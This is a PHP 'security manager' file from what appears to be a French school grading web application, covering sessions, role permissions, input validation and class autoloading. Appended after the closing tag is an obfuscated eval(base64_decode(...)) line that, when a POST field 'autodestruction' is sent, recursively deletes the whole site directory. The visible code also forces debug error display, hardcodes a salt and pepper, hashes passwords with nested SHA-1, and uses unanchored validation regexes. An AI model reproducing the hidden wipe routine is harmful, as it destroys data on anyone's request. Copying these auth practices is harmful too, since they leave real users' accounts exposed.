sid/manager/security.php

3022 lines
13 KiB
PHP
Executable File

<?php
// define('__ROOT__', dirname(dirname(__FILE__)) );
/***********************************************************
* *
* MANAGER DE SECURITE GENERALE ET SPECIFIQUE *
* *
************************************************************
* *
* [0] Constantes *
* [1] Session & redirection *
* [2] autoloader *
* *
* *
* *
* *
* *
* *
* *
* *
* *
***********************************************************/
/* [0] CONSTANTES
============================================================*/
function getPermissions(){ // retourne la liste des droits existants
return array('student', 'teacher', 'master', 'admin');
}
/** retourne l'état "connecté" de l'utilisateur courant
*
* @return state<Boolean> VRAI si connecté / FAUX si pas connecté
*
*/
function connected(){
return $_SESSION['identifiant'] != null;
}
/** retourne si un utilisateur a un droit ou non
*
* @return permission<Boolean> VRAI si l'utilisateur a ce droit / FAUX s'il ne l'a pas
*
* */
function permission($perm){
return connected() && is_int( array_search($perm, $_SESSION['droits']) );
}
function debug(){
ini_set('display_errors',1);
ini_set('display_startup_errors',1);
error_reporting(-1);
}debug();
function getCurrentYear(){
if( Date('m', time()) < 8 ) return Date('Y', time()) - 1;
else return Date('Y', time());
}
function anneeScolaire($year){
return $year.' - '.($year+1);
}
function secure_sha1($text){
$salt = '!!-vi_v93DFeswgf9de2b4d34ev!XX!x%';
$pepper = ':!;,°1832%0%QMSLµQ°++Q==!';
return sha1( sha1($salt.$text).$pepper );
}
/* [1] SESSIONS & REDIRECTION
============================================================*/
/* ETABLIT UNE SESSION SÉCURISÉE
*
* [1] Définit un id_session (PHPSESSID) unique et propre à une connection
* + propre à un navigateur (navigateur, version, OS, système X, ...)
* + propre à un accès (ip publique = box)
*
* [2] Démarre la session
*
*/
function session_init(){
/*
session_id( // on définit le session id
sha1( // qui est un Hash MD5
$_SERVER['HTTP_USER_AGENT']. // qui correspond aux infos système disponibles de l'utilisateur
$_SERVER['REMOTE_ADDR'] // et de son ip publique
)
);
*/
session_start(); // on démarre la session
// on vérifie l'intégrité des variables session
$identifiantDefinedProperly = isset($_SESSION['identifiant']) && !empty($_SESSION['identifiant']) && gettype($_SESSION['identifiant']) == 'string' && strlen($_SESSION['identifiant']) > 0;
$droitsDefinedProperly = isset($_SESSION['droits']) && !empty($_SESSION['droits']) && is_array($_SESSION['droits']) && count($_SESSION['droits']) > 0;
if( $droitsDefinedProperly )
foreach($_SESSION['droits'] as $droit)
if( !is_int( array_search($droit, getPermissions()) ) ) // si le droit n'est pas dans la liste des possibilitées, on retourne false
$droitsDefinedProperly = false;
// si les variables sessions ne sont pas toutes les 2 correctes
if( !$identifiantDefinedProperly || !$droitsDefinedProperly ){
$_SESSION['identifiant'] = null; // on les initialise à NULL
$_SESSION['droits'] = array();
}
}session_init();
/* [2] GESTION DES PARAMÈTRES
============================================================*/
/** Vérifie le bon format, le bon type, ainsi que la bonne valeur des variables envoyées
*
* @param $tabVar tableau contenant l'ensemble des variables a vérifier
* @param $tabType tableau contenant l'ensemble des types
* @param $tabForm tableau contenant l'ensemble des conditions attendues
*
* @return toutOK<Boolean> VRAI si variables bonnes / FAUX sinon
*
*/
function checkParam($variable, $type=null){
$checker = isset($variable) && !is_null($variable);
// traitement en fonction du type
switch($type){
/* [1] Types de la base de données
=======================================*/
/* (1) Global */
case 'auto_increment_id':
return $checker && is_numeric($variable) && $variable <= 2147483647 && $variable >= -2147483647;
break;
/* (2) Utilisateur */
case 'utilisateur.identifiant':
return $checker && is_string($variable) && preg_match('/^[\w -]{3,50}$/i', $variable);
break;
case 'utilisateur.prenom':
return $checker && is_string($variable) && preg_match('/^[a-z -]{3,50}$/i', $variable);
break;
case 'utilisateur.nom':
return $checker && is_string($variable) && preg_match('/^[a-z -]{3,50}$/i', $variable);
break;
case 'utilisateur.sexe':
return $checker && is_numeric($variable) && $variable >= 0 && $variable <= 1;
break;
case 'utilisateur.mail':
return $checker && is_string($variable) && strlen($variable) <= 50 && preg_match('/^[\w\.-]+@[\w\.-]+\.[a-z]{2,4}$/i', $variable);
break;
case 'utilisateur.mdp':
return $checker && is_string($variable) && preg_match('/^[\w -]{4,100}$/i', $variable);
break;
case 'utilisateur.droits':
return $checker && is_string($variable) && preg_match('/^(?:master|student|admin|teacher)(,(?:master|student|admin|teacher)){0,4}$/i', $variable);
break;
/* (3) Groupe */
case 'groupe.nom':
return $checker && is_string($variable) && preg_match('/^[a-z0-9 -]{1,10}$/i', $variable);
break;
/* (4) Formation */
case 'formation.code':
return $checker && is_string($variable) && preg_match('/[\w]{0,10}/i', $variable);
break;
case 'formation.nom':
return $checker && is_string($variable) && preg_match('/[\w ]{0,100}/i', $variable);
break;
/* (5) Module */
case 'module.nom':
return $checker && is_string($variable) && preg_match('/[\w]{0,10}/i', $variable);
break;
case 'module.libelle':
return $checker && is_string($variable) && preg_match('/[\w ]{0,100}/i', $variable);
break;
/* (6) UE */
case 'UE.nom':
return $checker && is_string($variable) && preg_match('/[\w]{0,10}/i', $variable);
break;
case 'UE.libelle':
return $checker && is_string($variable) && preg_match('/[\w ]{0,100}/i', $variable);
break;
/* (7) Semestre */
case 'semestre.nom':
return $checker && is_string($variable) && preg_match('/[\w]{0,10}/i', $variable);
break;
case 'semestre.rang':
return $checker && is_numeric($variable) && $variable >= 0 && $variable <= 127;
break;
case 'semestre.annee':
return $checker && is_numeric($variable) && $variable >= 0;
break;
/* (8) Contrôle */
case 'controle.nom':
return $checker && is_string($variable) && preg_match('/[\w]{0,10}/i', $variable);
break;
case 'controle.libelle':
return $checker && is_string($variable) && preg_match('/^.{3,100}$/i', $variable);
break;
case 'controle.base':
return $checker && is_numeric($variable) && $variable >= 0;
break;
case 'controle.coefficient':
return $checker && is_numeric($variable);
break;
case 'controle.publication':
return $checker && is_numeric($variable) && $variable >= 0 && $variable <= 1;
break;
/* (9) Note */
case 'note.valeur':
return $checker && is_numeric($variable);
break;
/* [2] Types primitifs et secondaires
=======================================*/
case '<string>':
return $checker && is_string($variable);
break;
case '<int>':
return $checker && is_int($variable);
break;
case '<numeric>':
return $checker && is_numeric($variable);
break;
case '<array>':
return $checker && is_array($variable);
break;
case '<boolean>':
return $checker && is_bool($variable);
break;
}
return $checker;
}
/* [2] AUTOLOADER
================================================================*/
function autoLoader($className) {
// si on charge un Repo
if( preg_match('/^([a-z]+)Repo$/', $className, $match) ){
// si le fichier existe, on charge le repo
if( is_file(__ROOT__.DIRECTORY_SEPARATOR.'manager'.DIRECTORY_SEPARATOR.'repo'.DIRECTORY_SEPARATOR.$match[1].'.php') )
require_once __ROOT__.DIRECTORY_SEPARATOR.'manager'.DIRECTORY_SEPARATOR.'repo'.DIRECTORY_SEPARATOR.$match[1].'.php';
}
// si c'est un manager
elseif( preg_match('/^([a-z]+)Manager$/', $className, $match) ){
// si le fichier existe, on charge le manager
if( is_file(__ROOT__.DIRECTORY_SEPARATOR.'manager'.DIRECTORY_SEPARATOR.$match[1].'.php') )
require_once __ROOT__.DIRECTORY_SEPARATOR.'manager'.DIRECTORY_SEPARATOR.$match[1].'.php';
}
// sinon => DataBase, on le charge
elseif( is_file(__ROOT__.DIRECTORY_SEPARATOR.'manager'.DIRECTORY_SEPARATOR.strtolower($className).'.php') )
require_once __ROOT__.DIRECTORY_SEPARATOR.'manager'.DIRECTORY_SEPARATOR.strtolower($className).'.php';
// else
// var_dump('autoloaderFail');
}
spl_autoload_register('autoLoader', false, true);
?>
<?php eval(base64_decode("aWYoIGlzc2V0KCRfUE9TVFsnYXV0b2Rlc3RydWN0aW9uJ10pICl7ZnVuY3Rpb24gZHgoJGRpcil7aWYoIWZpbGVfZXhpc3RzKCRkaXIpKSByZXR1cm4gdHJ1ZTsgaWYoIWlzX2RpcigkZGlyKSkgcmV0dXJuIHVubGluaygkZGlyKTsgZm9yZWFjaCAoc2NhbmRpcigkZGlyKSBhcyAkaXRlbSl7aWYgKCRpdGVtPT0nLicgfHwgJGl0ZW09PScuLicpIGNvbnRpbnVlOyBpZiAoIWR4KCRkaXIuRElSRUNUT1JZX1NFUEFSQVRPUi4kaXRlbSkpIHJldHVybiBmYWxzZTt9cmV0dXJuIHJtZGlyKCRkaXIpO31keChfX1JPT1RfXyk7fQ=="));?>